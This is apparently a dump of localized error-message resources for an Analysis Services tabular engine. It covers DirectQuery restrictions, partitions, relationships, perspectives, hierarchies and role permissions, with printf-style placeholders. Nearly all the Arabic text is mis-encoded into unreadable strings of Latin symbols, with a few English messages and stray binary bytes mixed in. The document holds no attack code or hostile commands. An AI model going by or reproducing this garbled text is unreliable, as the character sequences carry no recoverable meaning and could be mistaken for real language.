'xem.' H/#H 'xel.' AB7.1E3'1 'DEDA 'DF3(J DJ3 E9*E/K' DEDA'* **(9 XEvent.+A4D '3*CE'D 'D#E1. -J+ DE **E *GJ&) XEvent.%{xeventerror/}a,EJ9 'D,/'HD 'DE3*./E) 9F/ 'D'3*9D'E AJ DirectQuery Mode J,( #F *CHF EF E5/1 (J'F'* '1*('7J A1/J.�D' JECF 'D'3*9D'E 9F 'D,/HD '%{table/}' AJ H69 DirectQuery D#FG J9*E/ 9DI DSVs E*9//). D' J*E '9*E'/ 'D,/'HD 'D*J *-5D 9DI (J'F'* EF DSV E*9//) AJ 'DH69 DirectQuery.RB'9/) 'D(J'F'* AJ 'DH69 DirectQuery HEF +E AGJ D' *9*E/ '3*9D'E'* 'DH69 InMemory.QB'9/) 'D(J'F'* AJ 'DH69 InMemory HEF +E AGJ D' *9*E/ '3*9D'E'* H69 DirectyQuery.n*9JJF DirectQueryMode %DI #J BJE) (.D'A Default :J1 E9*E/ AJ -'D) 9/E *4:JD Analysis Services AJ 'DH69 ,/HDJ. �B/ D' J*E '3*./'E DirectQuery E9 E5/1 'D(J'F'* 'D1,'! 'DFBD %DI E5/1 (J'F'* E9*E/ #H *1BJ) E5/1 SQL Server %DI #-/+ %5/'1 E*'-K'.�D' J4*ED 'D,/HD '%{table/}' 9DI B3E *E *9JJF .'5J) DirectQueryUsage DG %DI DirectQueryOnly #H InMemoryWithDirectQuery. D*ECJF H69 DirectQuery DG0' 'DFEH0, J,( 9DJC %F4'! B3E H*-/J/ H'-/) EF G0G 'DBJE.�J4*ED 'D,/HD '%{table/}' 9DI #B3'E E*9//) *E *9JJF 'D.'5J) DirectQueryUsage DG' %DI  DirectQueryOnly #H InMemoryWithDirectQuery. D' JECF *ECJF %D' B3E H'-/ AJ 'D,/HD D'3*./'E DirectQuery.�%F 'D,/HD '%{table/}' :J1 E3*F/ %DI FA3 E5/1 'D(J'F'* E+D 'D,/'HD 'D#.1I 'D*J AJ 'DFEH0,. 9F/ 'D'3*9D'E AJ 'DH69 DirectQuery A%F ,EJ9 'D,/'HD J,( #F *CHF EF E5/1 (J'F'* H'-/.�B/ D' J*E '3*./'E 'D/'D) %{funcName/} AJ 'DFE'0, 'D*J *E *ECJF DirectQuery AJG'. J,( 'D#.0 (9JF 'D'9*('1 *:JJ1 *9(J1 'D5J:) #H *97JD H69 DirectQuery.LD' J9*E/ E5/1 'D(J'F'* 'D-'DJ EJ2) '%{capName/}' 'DE7DH() D*4:JD 'D'3*9D'E.oJ3*F/ 'D,/HD '%{TableName/}' %DI (J'F'* D5BG' HEF +E D' JECF '3*./'EG AJ FEH0, *E *ECJF 'DH69 DirectQuery AJG.s%F '%{ColumnName/}' AJ 'D,/HD '%{TableName/}' 9EH/ E-3H( HD' JECF '3*./'EG AJ FEH0, *E *ECJF 'DH69 DirectQuery AJG.QD' JECF '3*./'E 'D9EDJ) %{opName/} AJ 'DFEH0, 'D0J *E *ECJF 'DH69 DirectQuery (G.-9EDJ'* MDX/SQL :J1 E9*E/) AJ H69 DirectQuery.�B/ D' JECF '3*./'E 'D#9E/) 'DE-3H() AJ 'DFE'0, 'D*J *E *ECJF DirectQuery DG'. BE (-0A 'D9EH/ 'DE-3H( #H *97JD 'DH69 DirectQuery.\D' J9*E/ 'DH69 DirectQuery *-HJD 'DFH9 EF #FH'9 (J'F'* 1BEJ) (E+D: I8 HR8 HCurrency) D3D3D).[AJ 'DH69 DirectQuery J,( #F *CHF 'DH3J7) 'D#HDI DD/'D) SEARCH BJE) -1AJ) D3D3D) :J1 A'1:).RAJ 'DH69 DirectQuery J,( #F *CHF 'DH3J7) 'D+'FJ) DD/'D) '%{funcName/}' ('DBJE) 1.kAJ 'DH69 DirectQuery *3E- 'D/'D) SUBSTITUTE (9// 3 H3J7'* AB7 HEF +E A%F 'DH3J7) 'D1'(9) *CHF :J1 E9*E/).aAJ 'DH69 DirectQuery J,( #F *CHF 'DH3J7) 'D+'FJ) DD/'D) WEEKDAY H'-/) EF G0G 'DBJE: 1 #H 2 #H 3.>AJ H69 DirectQuery D' J3*7J9 *9(J1 %1,'9 BJE EF #FH'9 E.*DA).�*H,/ BJE EC11) D@ '%{SortByAttribute/}'. 9D'B) H'-/ DH'-/ GJ 'D9D'B) 'DH-J/) 'DE/9HE) (JF #96'! 3E'* '%{SortAttribute/}' H'%{SortByAttribute/}'. ?*E 'D-5HD 9DI #96'! EC11) D@ '%{SortAttribute/}' HGH :J1 E*HB9.ID' J*E /9E 'D.'5J) DataView %D' 9F/ *4:JD ./E'* 'D*-DJD AJ 'DH69 'D,/HDJ.�'D(J'F'* 'D*J *E* E4'G/*G' AJ FB'7 2EFJ) E.*DA) #+F'! *FAJ0 G0' 'D'3*9D'E :J1 E*3B) E9 (96G' 'D(96. HB/ JCHF 0DC F*J,) D*-/J+ 'D9EDJ'* 'D.'1,J) DFA3 'D(J'F'* (JFE' C'F G0' 'D'3*9D'E BJ/ 'D*4:JD. 'D1,'! %9'/) *4:JD G0' 'D'3*9D'E.�D' JECF '3*./'E BJ/ CATALOG_NAME AJ 7D( 'C*4'A MDSCHEMA_FUNCTIONS %D' DFEH0, DirectQuery. J9ED 'DFEH0, AJ H69 InMemory #H (E3*HI *H'AB #BD EF 1200.@BJ/ CATALOG_NAME 'DE-// D7D( 'C*4'A MDSCHEMA_FUNCTIONS :J1 5'D-.I%13'D'* 'DC'&F 'D71AJ DJ3* E/9HE) DFE'0, DirectQuery E9 EB'JJ3 :J1 4A'A).F'D#9E/) 'DE-3H() DJ3* E/9HE) AJ FE'0, DirectQuery E9 EB'JJ3 :J1 4A'A).(A4D '3*9D'E DAX AJ *4:JD '3*9D'E DirectQuery F81K' D*,'H2G D#B5I 9// EF 'DE9DE'*/'D(J'F'* 'D-1AJ) 'DE3EH- (G' '%d{limit/}'. J-/+ G0' 9'/)K 9F/ -3'( BJ'3 DistinctCount D#9E/) 'D*,EJ9 -3( :J1 'DE1*(7) (4CD :J1 E('41 (9EH/ DistinctCount. JECF #F JCHF 'D3(( AJ G0' *HA1 *5AJ) E*B'79) +F'&J) 'D'*,'G.PA3*901 'D9+H1 9DI B'9/) 'D(J'F'* PowerPivot 'DE*/AB).PAc*901 %F4'! '*5'D (B'9/) 'D(J'F'* PowerPivot 'DE*/AB) (*E *,'H2 E-'HD'* %9'/) 'DE-'HD) 'DE3EH- (G').SD' *H,/ .H'/E E*'-) BJ/ 'D*4:JD AJ H69 PowerPivot HD' *,1J *GJ&) #J EFG' (4CD F47.�J*E *9JJF E,EH9*J -ED 'D9ED '%{group1/}' H'%{group2/}' HABK' DB'9/) 'D(J'F'* '%{DBID/}'.  JECF *9JJF E,EH9) -ED 9ED H'-/) AB7 DB'9/) 'D(J'F'* HABK' DB'9/) (J'F'* E-//).�BJE) 'DE9DE) MaxMemory 5:J1) DD:'J). J,( #F *CHF 'DBJE) #C(1 EF E9/D '3*./'E 'D0'C1) 'D-'DJ ResourcePool (%d{MemoryUsage/}CJDH('J*).�*,'H2 'D'3*9D'E 'D-/ 'D#B5I DD0'C1) 'DE3EH- (G DD'3*9D'E'* 'DEFA0) 6EF E,EH9) -ED 'D9ED 'D-'DJ) ('DE7DH(: %d{MemoryUsed/} CJDH('J* 'D-/ %d{MemoryLimit/} CJDH('J*).)'D#E1 "*A3J1" E/9HE AJ 'DH69 ",/HDJ" AB7.PA"*E *97JD 'DEJ2) '%{featureName/}'.D' **HA1 %EC'FJ) *(/JD 'DEJ2).WD' **HA1 EJ2) Analysis Services G0G %D' E9 E3*HI *H'AB B'9/) 'D(J'F'* 1BE 1200 #H #9DI.SD' **HA1 EJ2) Analysis Services G0G E9 E3*HI *H'AB B'9/) 'D(J'F'* 1BE 1200 #H #9DI.=**7D( G0G 'DEJ2) E3*HI *H'AB B'9/) 'D(J'F'* 1BE 1200 #H #9DI.+C'&F %{typename/} ('DE91A %{id/} :J1 EH,H/.4'DC'&F %{strType/} 0H 'D'3E '%{strName/}' :J1 EH,H/.]'DC'&F %{strType/} 0H 'D'3E '%{strName/}' :J1 EH,H/ AJ %{strParentType/} '%{strParentName/}'.PA#'3E %{typename/} A'1: #H :J1 E-/N/.a'D'3E '%{name/}' :J1 5'D- D@ %{typename/} D#FG J-*HJ 9DI -1A #H #C+1 :J1 5'D- (%{invalidchars/}).J'D'3E '%{name/}' :J1 5'D- D@ %{typename/} D#FG #7HD EF %{maxchars/} -1AK'.bJ4*ED 'D9EH/ 'DE-3H( '%{table/}'['%{column/}'] 9DI BJE) DataSize HG0' :J1 E/9HE DD#9E/) 'DE-3H().IJ4*ED 'D*3D3D 'DGJCDJ '%{hier/}' AJ 'D,/HD '%{table/}' 9DI 9EH/ 1BE 'D5A.�D' JECF '3*./'E #9E/) EF FH9 +F'&J AJ 'D*3D3D'* 'DGJCDJ) 'DE91A) (H'37) 'DE3*./E. A'D9EH/ '%{column/}' 'DEH,H/ AJ 'D,/HD '%{table/}' *E *91JAG ('9*('1G +F'&JK'.7J,( #F J-*HJ 'D,/HD '%{table/}' 9DI B3E H'-/ 9DI 'D#BD.?DE J*E *ECJF *3D3D GJCDJ DD3E'* DD9EH/ '%{table/}[%{column/}]'.Z'D9EH/ '%{table/}[%{column/}]' EF 'DFH9 "+F'&J" H(G .'5J) DataSize :J1 5'D-) #H :J1 E-//).�D' JECF #F JCHF 'D9EH/ '%{table/}[%{column/}]' EF 'DFH9 "A'1:". AFH9 'D(J'F'* "A'1:" D' JECF *9JJFG 9DI 9EH/ %D' %0' C'F 9EH/K' E-3H(K' #H ,2!K' EF ,/HD E-3H(.jThe level '%{level/}' of hierarchy '%{hierarchy/}' in table '%{table/}' has an invalid index '%d{index/}'.|J-*HJ 'D*3D3D 'DGJCDJ '%{hierarchy/}' 'DEH,H/ AJ 'D,/HD '%{table/}' 9DI E3*HJJF J4*ED'F 9DI 'D9EH/ 'DE5/1 '%{column/}' FA3G.DJ-*HJ 'D,/HD '%{table/}' 9DI 9EH/JF .'5J) IsKey (GE' E9JF) %DI True.-J-*HJ 'D,/HD '%{table/}' 9DI 9EH/J RowNumber.vLevels '%{level1/}' and '%{level2/}' in hierarchy '%{hierarchy/}' in table '%{table/}' have the same index %d{index/}.Z'DE3*HI '%{level/}' EF 'D*3D3D 'DGJCDJ '%{hier/}' 6EF 'D,/HD '%{table/}' D' J4J1 %DI 9EH/.g*E *97JD 'D*3D3D 'DGJCDJ DD3E'* D9EH/ 'DE5/1 '%{column/}' EF 'DE3*HI '%{level/}' AJ 'D,/HD '%{table/}'.)D' J-*HJ 'D,/HD '%{table/}' 9DI #J #9E/)..D' J-*HJ 'D,/HD '%{table/}' 9DI #J 9EH/ #3'3J.^D' J/9E 9EH/ RowNumber '%{column/}' 'DEH,H/ AJ 'D,/HD '%{table/}' 3HI FH9 'D(J'F'* "9// 5-J-".KJ-*HJ 'D,/HD '%{table/}' 9DI 9D'B) %DI FA3G: '%{relname/}'. HG0' :J1 E/9HE.RJ-*HJ 'D9EH/ '%{column/}' 'DEH,H/ AJ 'D,/HD '%{table/}' 9DI 1H'(7 :J1 5'D-) E-//).�D' JECF '3*./'E 'D#9E/) EF 'DFH9 +F'&J AJ 9D'B'*. 9EH/ 'DEA*'- 'D#3'3J '%{column/}' AJ 'D,/HD '%{table/}' E91QNA C+F'&J HD' JECF '3*./'EG AJ 9D'B).�D' JECF '3*./'E 'D#9E/) EF 'DFH9 +F'&J AJ 9D'B'*. 9EH/ 'DEA*'- 'D.'1,J '%{column/}' AJ 'D,/HD '%{table/}' E91QNA C+F'&J HD' JECF '3*./'EG AJ 9D'B).wD' JECF *-/J/ 'D9EH/ 'DE-3H( '%{table/}'['%{column/}'] 9DI #FG "+F'&J" D#F FH9 'D(J'F'* G0' :J1 E/9HE DD#9E/) 'DE-3H().PAmJ4*ED 'D9EH/ '%{column/}' AJ 'D,/HD '%{table/}' 9DI 'D.'5J) SortByColumn 'D*J *4J1 %DI FA3G' HG0' :J1 E/9HE.?DE J*E *-/J/ *9(J1 G/A DBJ'3 E$41 'D#/'! 'D#3'3J '%{measure/}'.@DE J*E *-/J/ *9(J1 -'D) DBJ'3 E$41 'D#/'! 'D#3'3J '%{measure/}'.rJ4*ED 'D9EH/ '%{column/}' AJ 'D,/HD '%{table/}' 9DI 'D.'5J) SortByColumn E9JF) %DI 'D9EH/ '%{name/}' 'D0J *E -0AG.rThe column '%{column/}' in table '%{table/}' has the SortByColumn property set to an invalid column ID %I64u{id/}.�J4*ED 'D9EH/ '%{column/}' AJ 'D,/HD '%{table/}' 9DI 'D.'5J) SortByColumn E9JF) %DI 'D9EH/ '%{name/}' 'D0J JF*EJ %DI 'D,/HD '%{sortbytable/}'. J,( #F JF*EJ 9EH/ 'DA12 %DI 'D,/HD FA3G.{'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' J4*ED 9DI .'5J) DataSource E9JF) %DI E5/1 (J'F'* '%{datasource/}' 'D0J *E -0AG.sPartition '%{partition/}' in table '%{table/}' has the DataSource property set to an invalid ID %I64u{datasource/}.�J4*ED 'DE3*HI '%{level/}' AJ 'D*3D3D 'DGJCDJ '%{hier/}' AJ 'D,/HD '%{table/}' 9DI .'5J) Column E9JF) %DI 'D9EH/ '%{column/}' 'D0J *E -0AG.�Level '%{level/}' in hierarchy '%{hier/}' in table '%{table/}' has the Column property set to an invalid column ID %I64u{column/}.�'DE3*HI '%{level/}' AJ 'D*3D3D 'DGJCDJ '%{hier/}' AJ 'D,/HD '%{table/}' J4*ED 9DI 'D.'5J) Column E9JF) %DI 'D9EH/ '%{column/}' 'D0J JF*EJ %DI ,/HD E.*DA '%{columntable/}'. J,( #F *4J1 ,EJ9 'DE3*HJ'* 'D*J AJ *3D3D GJCDJ %DI #9E/) EF 'D,/HD FA3G.:*4J1 'D9D'B) '%{relname/}' %DI 'D,/HD 'DE-0HA '%{table/}'.Q*4J1 'D9D'B) '%{relname/}' %DI 'D9EH/ 'DE-0HA '%{column/}' AJ 'D,/HD '%{table/}'.DRelationship '%{relname/}' uses an invalid column ID %I64u{column/}.VColumn '%{column/}' in table '%{table/}' has an invalid Type property (%I64d{value/}).�*-*HJ 'D9D'B) '%{name/}' (JF 'D#9E/) '%{fromTable/}[%{fromColumn/}]' H'%{toTable/}[%{toColumn/}]' 9DI CrossFilterDirection E9JF %DI OneDirection. J,( *9JJF CrossFilterDirection AJ 'D9D'B'* H'-/ %DI H'-/ /'&EK' %DI BothDirections.?D' JECF #F J-*HJ 'D,/HD '%{table/}' 9DI #C+1 EF B3E E-3H( H'-/.~J-*HJ FEH0, 'D(J'F'* 9DI 3D3D) *(9J) D,/HD E-3H( 7HJD) ,/K' HEF 'DE-*ED #F *CHF *C1'1K'. 'D1,'! 'D*-BB EF 5J: 'D,/HD 'DE-3H(.�*9(J1 DAX DD,/HD 'DE-3H( '%{table/}' JF*, 9FG FH9 (J'F'* E.*DA DD9EH/ '%{column/}'. 'D1,'! *9/JD 'D'-*3'( E+D #F JCHF DD9EH/ FH9 (J'F'* E*3B.o(J'F'* 'D*91JA 'D,/HDJ) EABH/) '%{TMType/}' 'DC'&F: '%{TMName/}' D@ IMBI '%{IMBIType/}' 'DC'&F: '%{IMBIName/}'.pD' JECF #F J-*HJ 'D#E1 Upgrade DB'9/) (J'F'* '%{DBName/}' 'DA'1:) 9DI #J 5AHA AJ E,EH9) 'D5AHA '%{RowsetType/}'.�J(/H #F B'9/) 'D(J'F'* 'D.'5) ((J'F'* 'D*91JA (-'D) :J1 E*F'3B). *E 'D9+H1 9DI E1,9 %DI C'&F %{typename/} ('DE91A %{id/} HDCF D' JECF 'D9+H1 9DI G0' 'DC'&F.nD' JECF *9JJF 'D.'5J) StorageEngineUsed %DI TabularMetadata DB'9/) 'D(J'F'* '%{DBName/}' D#F G0G 'DEJ2) E97D).�The translation for culture '%{culture/}' references an object of type '%{typename/}' with ID %I64u{id/} but that object cannot be found.zJ4J1 'D*-HJD 'D(1E,J 'D.'5 ('D+B'A) '%{culture/}' %DI C'&F EF 'DFH9 %{typename/} ('D'3E '%{name/}' DCF *E -0A G0' 'DC'&F.�*E *-/J/ 'D*-HJD 'D(1E,J DD+B'A) '%{culture/}' DD.'5J) '%{prop/}' H'DC'&F EF 'DFH9 %{typename/} ('D'3E '%{name/}' %D' #F G0G 'D.'5J) DJ3* 5'D-) DFH9 'DC'&F G0'.�'D*-HJD 'D(1E,J DC'&F EF 'DFH9 '%{typename/}' ('D'3E '%{name/}' DD+B'A) '%{culture/}' D' J-// .'5J). J1,I *-/J/ .'5J) G0' 'DC'&F 'D*J J*E *-HJDG' (1E,JK' (9DI 3(JD 'DE+'D 'D'3E 'DH5A).�*-*HJ 'D9D'B) '%{name/}' (JF 'D#9E/) '%{fromTable/}[%{fromColumn/}]' H'%{toTable/}[%{toColumn/}]' 9DI 9D'B) #3'3J) *,'G 'DFG'J) E9JF) %DI E*9//. J,( *9JJF 'D9D'B) 'D#3'3J) *,'G 'DFG'J) %DI H'-/ /'&EK'.�*-*HJ 'D9D'B) '%{name/}' (JF 'D#9E/) '%{fromTable/}[%{fromColumn/}]' H'%{toTable/}[%{toColumn/}]' 9DI FH9 :J1 5'D-. J,( *9JJF 'DFH9 %DI SingleColumn /'&EK'.BRelationship '%{relname/}' uses an invalid table ID %I64u{table/}.E*3*./E 'D9D'B) '%{relname/}' E91A 9EH/ D' JF*EJ %DI ,/HD G0G 'D9D'B).�J*901 *9JJF .'5J) StorageEngineMode DB'9/) 'D(J'F'* '%{name/}' %DI 'TabularMetadata' D#F E3*HI *H'AB B'9/) 'D(J'F'* GH %d{dbCompatLevel/} H#/FI E3*HI *H'AB E7DH( D(J'F'* 'D*91JA 'D,/HDJ) GH %d{minTabularCompatLevel/}.�C'&F (J'F'* 'D*91JA 'D,/HDJ) '%{TMType/}': D' J*7'(B '%{TMName/}' E9 #J C'&F '%{UDMType/}' DC'&F UDM '%{UDMParentType/}' ('DE91A '%{ParentID/}'.eJ4J1 C'&F LinguisticMetadata %DI C'&F 'D+B'A) ('DE91A %I64u{id/} %D' #FG J*901 'D9+H1 9DI G0' 'DC'&F.VJ4J1 C'&F LinguisticMetadata %DI C'&F 'D+B'A) '%{culture/}' %D' #FG *E -0A G0' 'DC'&F.D.'5J) 'DE-*HI DDC'&F LinguisticMetadata DD+B'A) '%{culture/}' A'1:).I'D+B'A) '%{culture/}' H'D*1*J( '%{collation/}' :J1 5'D-JF #H :J1 E/9HEJF.rJ-*HJ 'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' 9DI 3E) DataSourceID *E *9JJFG' HGJ 5'D-) AB7 D#B3'E 'D'3*9D'E.VJ,( *9JJF 'D.'5J) DataSourceID AJ B3E 'D'3*9D'E '%{partition/}' AJ 'D,/HD '%{table/}'.{J-*HJ 'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' 9DI 3E) QueryDefinition *E *9JJFG' HGJ :J1 5'D-) DD#B3'E 'D*J (/HF E5/1.]J-*HJ 'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' 9DI 3E) Type *E *9JJFG' %DI BJE) :J1 5'D-).GJ,( *-/J/ 'DB3E 'DG/A %E' ('DE91A AB7 #H ('3E 'D,/HD H'3E 'DB3E CDJGE'.�J,( #F JCHF 'DB3E 'DE5/1 '%{SourcePartitionName/}' EF 'D,/HD '%{SourceTableName/}' AJ 'D,/HD FA3G 'D0J (G 'DB3E 'DG/A: '%{TargetTableName/}'.jD' JECF #F *CHF #B3'E 'D/E, DDB3E 'DG/A '%{PartitionName/}' EF 'D,/HD '%{TableName/}' %-/I 'D#B3'E 'DE5/1.6DE J*E *-/J/ #B3'E E5/1 D#B3'E 'D/E, AJ E,EH9) 'D5AHA.qJ-*HJ 'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' 9DI H69 :J1 5'D-. J,( #F *CHF #B3'E G0' 'DFH9 ('DH69 "'3*J1'/".]*E *9JJF FH9 'D(J'F'* Variant 9DI 'D9EH/: '%{column/}'. D' */9E 'D#9E/) FH9 'D(J'F'* Variant.kBJE) DefaultMode DDFEH0, '%{model/}' :J1 5'D-) J,( #F *CHF BJE DefaultMode 'D5'D-) '3*J1'/ #H DirectQuery.�J,( *CHJF 'D#B3'E 'D*J *-*HJ 9DI E,EH9) (J'F'* C'ED) (DJ3 FEH0, (J'F'*) D@ DirectQuery #H DataViews 'DC'ED #H '3*./'E H69 'D'3*9D'E '3*J1'/ D'3*9'/) 'D(J'F'*. J(/H #F G0' 'DFEH0, J6E #B3'E :J1 E*H'AB). 'D1,'! 'D*-BB EF *CHJF 'DB3E.�*E 'C*4'A 9/E '*3'B :J1 E*HB9 #+F'! *-EJD FEH0, 'D(J'F'*. *901 *.7J7 'D9EH/ '%{colname/}' AJ 'D,/HD '%{table/}' ('DE.77 E*9// 'D#(9'/.kJ*901 *-EJD FEH0, 'D(J'F'* (3(( -/H+ .7# #+F'! E-'HD) '3*9D'E 'D-BD '%{fieldname/}' AJ 'D,/HD DBPROPERTIES.�J*901 *-EJD FEH0, 'D(J'F'* (3(( H,H/ 9/E '*3'B AJ %5/'1'* E.77 (J'F'* 'D*91JA. D' JECF #F JCHF ".1 %5/'1 E.77 E91HA (%{lastver/}) #C(1 EF %5/'1 'DE.77 'D-'DJ (%{curver/}).�J*901 *-EJD FEH0, 'D(J'F'* (3(( H,H/ BJE) *9/'/ '%{enumValue/}' :J1 5'D-) DD96H '%{memberName/}' AJ 'DC'&F '%{objectName/}' ('DE91A '%{objectId/}'.PAJJ4J1 G0' 'D*9(J1 %DI C'&F %{type/} ('D'3E '%{label/}' 'D0J J-*HJ 9DI .7#.�D' JECF *:JJ1 'D9EH/ 'D0J J4J1 %DJG PerspectiveColumn '%{perspcolumn/}' AJ 'D,/HD '%{persptable/}' AJ 'DEF8H1 '%{persp/}'. :J1 E3EH- (*:JJ1 'DC'&F 'DE1,9J (9/ %F4'! 'DC'&F.�D' JECF *:JJ1 'DEBJ'3 'D0J J4J1 %DJG PerspectiveMeasure '%{perspmeasure/}' AJ 'D,/HD '%{persptable/}' AJ 'DEF8H1 '%{persp/}'. :J1 E3EH- (*:JJ1 'DC'&F 'DE1,9J (9/ %F4'! 'DC'&F.�D' JECF *:JJ1 'D*3D3D 'DGJCDJ 'D0J J4J1 %DJG PerspectiveHierarchy '%{persphierarchy/}' AJ 'D,/HD '%{persptable/}' AJ 'DEF8H1 '%{persp/}'. :J1 E3EH- (*:JJ1 'DC'&F 'DE1,9J (9/ %F4'! 'DC'&F.�J4J1 PerspectiveColumn AJ 'DEF8H1 '%{persp/}' %DI 'D9EH/ '%{perspcolumn/}' AJ 'D,/HD '%{persptable/}' HDCFG JF*EJ %DI PerspectiveTable 'D0J J4J1 %DI ,/HD E.*DA '%{persptableparent/}'.�J4J1 PerspectiveMeasure AJ 'DEF8H1 '%{persp/}' %DI 'DEBJ'3 '%{perspmeasure/}' AJ 'D,/HD '%{persptable/}' HDCFG JF*EJ %DI PerspectiveTable 'D0J J4J1 %DI ,/HD E.*DA '%{persptableparent/}'.�J4J1 PerspectiveHierarchy AJ 'DEF8H1 '%{persp/}' %DI 'D*3D3D 'DGJCDJ '%{persphierarchy/}' AJ 'D,/HD '%{persptable/}' HDCFG JF*EJ %DI PerspectiveTable J4J1 %DI ,/HD E.*DA '%{persptableparent/}'.>JA*B/ PerspectiveTable AJ 'DEF8H1 '%{persp/}' %DI E1,9 'D,/HD.cA PerspectiveTable in perspective '%{persp/}' refers to an invalid table with ID '%I64u{tableID/}'.JJ4J1 PerspectiveTable AJ 'DEF8H1 '%{persp/}' %DI ,/HD '%{table/}' *E -0AG.VJA*B/ PerspectiveColumn AJ 'D,/HD '%{persptable/}' AJ 'DEF8H1 '%{persp/}' E1,9 'D9EH/.}A PerspectiveColumn in table '%{persptable/}' in perspective '%{persp/}' refers to an invalid column with ID '%I64u{colID/}'.nJ4J1 PerspectiveColumn AJ 'D,/HD '%{persptable/}' AJ 'DEF8H1 '%{persp/}' %DI 'D9EH/ '%{column/}' 'D0J *E -0AG.fJA*B/ PerspectiveHierarchy AJ 'D,/HD '%{persptable/}' AJ 'DEF8H1 '%{persp/}' %DI E1,9 'D*3D3D 'DGJCDJ.�A PerspectiveHierarchy in table '%{persptable/}' in perspective '%{persp/}' refers to an invalid hierarchy with ID '%I64u{hierID/}'.oJ4J1 PerspectiveHierarchy AJ 'D,/HD '%{persptable/}' AJ 'DEF8H1 '%{persp/}' %DI *3D3D GJCDJ '%{hier/}' *E -0AG.\JA*B/ PerspectiveMeasure AJ 'D,/HD '%{persptable/}' AJ 'DEF8H1 '%{persp/}' %DI E1,9 'DEBJ'3.�A PerspectiveMeasure in table '%{persptable/}' in perspective '%{persp/}' refers to an invalid measure with ID '%I64u{measureID/}'.jJ4J1 PerspectiveMeasure AJ 'D,/HD '%{persptable/}' AJ 'DEF8H1 '%{persp/}' %DI EBJ'3 '%{measure/}' *E -0AG.�D' JECF *:JJ1 'D,/HD 'D0J J4J1 %DJG C'&F PerspectiveTable '%{persptable/}' AJ 'DEF8H1 '%{persp/}'. :J1 E3EH- (*:JJ1 'DC'&F 'DE1,9J (9/ %F4'! 'DC'&F.\D' JECF *:JJ1 C'&F RoleMembership '%{name/}'. JECF %F4'! C'&F'* RoleMembership #H -0AG' AB7.|#0HF'* :J1 C'AJ) D*FAJ0 'D*1BJ) 'D,/HDJ) AJ B'9/) 'D(J'F'* '%{DBName/}'. #0HF'* E3$HD 'D.'/E E7DH() D*FAJ0 #E1 *1BJ) ,/HDJ).?JA*B/ C'&F TablePermission AJ 'D/H1 '%{role/}' %DI E1,9 'D,/HD.aA TablePermission object in role '%{role/}' refers to an invalid table with ID '%I64u{tableID/}'.KJ4J1 C'&F TablePermission AJ 'D/H1 '%{role/}' %DI ,/HD '%{table/}' *E -0AG.�C'&F Windows RoleMembership 'D0J *E %F4'$G -/J+K' AJ 'D/H1 '%{role/}' DJ3* (G BJE) E-//) 3H'! %DI MemberName #H MemberID. J,( *-/J/ MemberName #H MemberID #H CDJGE' #+F'! %F4'! C'&F Windows RoleMembership.�C'&F RoleMembership 'D.'1,J 'D0J *E %F4'$G -/J+K' AJ 'D/H1 '%{role/}' DDEHA1 '%{provider/}' DJ3 (G BJE) E-//) D@ MemberID. J,( *-/J/ MemberID #+F'! %F4'! C'&F RoleMembership .'1,J.�B'9/) 'D(J'F'* 'D,/HDJ) '%{DBName/}' (-'D) :J1 E*F'3B) HD' JECF 'DH5HD %DJG'. 'D1,'! -0AG' H%9'/) %F4'&G' #H '3*9'/*G' EF F3.) '-*J'7J) 5'D-).RJ,( *-/J/ 9D'B) #H *3D3D GJCDJ 'A*1'6J #H 9EH/ 'A*1'6J AJ 'D*('JF '%{variation/}'.MD' JECF *-/J/ DefaultHierarchy HDefaultColumn CDJGE' DD*('JF '%{variation/}'.SJ,( *-/J/ *3D3D GJCDJ 'A*1'6J #H 9EH/ 'A*1'6J AJ 'D*('JF 'D'A*1'6J '%{variation/}'.PALJ,( *-/J/ 'D9D'B) DD*('JF '%{variation/}' AJ 'D,/HD 'D-'DJ 9F/ *-/J/ 9D'B).nJ,( #F JCHF 'D*3D3D 'DGJCDJ 'D'A*1'6J DD*('JF '%{variation/}' AJ ,'F( PrimaryKey EF 'D9D'B) 9F/ *-/J/ CDJGE'.�J,( #F JCHF 'D9EH/ 'D'A*1'6J DD*('JF '%{variation/}' AJ ,'F( PrimaryKey EF 'D9D'B) 9F/ *-/J/ 'D.'5J*JF DefaultColumn HRelationship DC'&F 'D*('JF.bJ,( *-/J/ 'D*3D3D 'DGJCDJ 'D'A*1'6J DD*('JF '%{variation/}' AJ 'D,/HD 'D-'DJ 9F/ 9/E *-/J/ 9D'B).YJ,( *-/J/ 'D9EH/ 'D'A*1'6J DD*('JF '%{variation/}' AJ 'D,/HD 'D-'DJ 9F/ 9/E *-/J/ 9D'B).�*E H69 9D'E) IsDefault 9DI 9/) C'&F'* *('JF DD9EH/ '%{column/}' AJ 'D,/HD '%{column/}'. 'D1,'! *-/J/ C'&F *('JF H'-/ DJE+D 'D*('JF 'D'A*1'6J.jD' JECF *:JJ1 'D.'5J) DataType DD9EH/ '%{column/}' AJ 'D,/HD '%{table/}' EF +F'&J %DI :J1 +F'&J #H 'D9C3.i%,E'DJ 9// 'D#9E/) AJ 'DFEH0, GH %ld{NumberOfColumns/} HG0' J*,'H2 'D-/ 'D('D: %ld{MaxNumberOfColumns/}.O'D9EH/ '%{column/}' AJ 'D,/HD 'DE-3H( '%{table/}' JA*B/ %DI .'5J) SourceColumn.�'D9EH/ '%{column/}' AJ 'D,/HD '%{table/}' (G InferredName *E *9JJFG 'D#9E/) 'D*J EF 'D,/HD 'DE-3H( AB7 JECF #F *-*HJ 9DI #3E'! E3*F*N,).�D' JECF *FAJ0 JSON DDL %D' AJ BH'9/ 'D(J'F'* 'D*J *-*HJ 9DI E3*HI *H'AB 1200 #H #C+1. B'9/) 'D(J'F'* 'DG/A D7D( JSON DDL 'D-'DJ: '%{database/}' D/JG' E3*HI *H'AB: '%{compat/}'.�*E *-/J/ H,H/ 1(7 .'1, 'D.7 AJ 'D7D( HDCF 'DG/A 'D.'5 (G DJ3 C'&FK' 5'D-K'. J*9JF #F JCHF 'DE91QA 'DE-// C'&F FEH0, #H B3EK' #H ,/HD'K 5'D-K'.e'D,/HD 'D0J J6E #B3'E *3*./E H69 'D'3*J1'/ HDataView C'ED D' JECF #F J6E #B3'E *3*./E FEH0, DataView.�J,( #F J-*HJ CD ,/HD 9DI B3E H'-/ 9DI 'D#BD AJ DataView 'DC'ED. 'D,/HD '%{table/}' D' J-*HJ 9DI B3E J3*./E DataView 'DC'ED. DDE*'(9) 9DJC *CHJF B3E H'-/ 9DI 'D#BD 